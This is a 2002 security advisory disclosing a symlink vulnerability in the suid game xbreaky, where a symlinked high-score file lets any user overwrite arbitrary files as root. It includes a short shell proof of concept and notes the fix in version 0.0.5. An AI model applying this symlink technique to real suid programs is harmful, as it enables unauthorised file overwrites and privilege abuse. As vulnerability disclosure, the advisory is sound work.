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Title: xbreaky symlink vulnerability
Author: Marco van Berkum
Classification: High risk
Date: 12/09/2002
Email: m.v.berkumobit.nl
Company: OBIT
Company site: http://www.obit.nl
Personal website: http://ws.obit.nl
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About xbreaky
-------------
xbreaky is a breakout game for X written by Dave Brul which can be downloaded
from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,
NetBSD tree and possibly others.

Problem
-------
By default xbreaky is installed as suid and can be abused to overwrite any file
on the filesystem, by any user.

Vulnerable versions
-------------------
All versions prior to 0.0.5

Exploit
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xbreaky uses $HOME/.breakyhighscores to write the highscores to, when
$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply
overwrites it as root user.

Example
-------
rootanimal:/home/marco# echo "bla" >rootfile
rootanimal:/home/marco# chmod 600 rootfile
rootanimal:/home/marco# exit
logout
marcoanimal:~$ ln -s rootfile .breakyhighscores
marcoanimal:~$ xbreaky

Now I play a game and set highscore as user "lol", then I exit the game.
Its a nice game btw :)

marcoanimal:~$ cat rootfile
cat: rootfile: Permission denied
marcoanimal:~$ su -
Password:
rootanimal:~# cat /home/marco/rootfile
lol <- voila, our highscore user

Author's response and solution
------------------------------
The author corrected the problem and released xbreaky 0.0.5

Credits
-------
Thanks to Dennis Oelkers for testing.

--
find / -user your -name base -exec chown us:us {}\;
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|    Marco van Berkum / MB17300-RIPE     |
| m.v.berkumobit.nl / http://ws.obit.nl |
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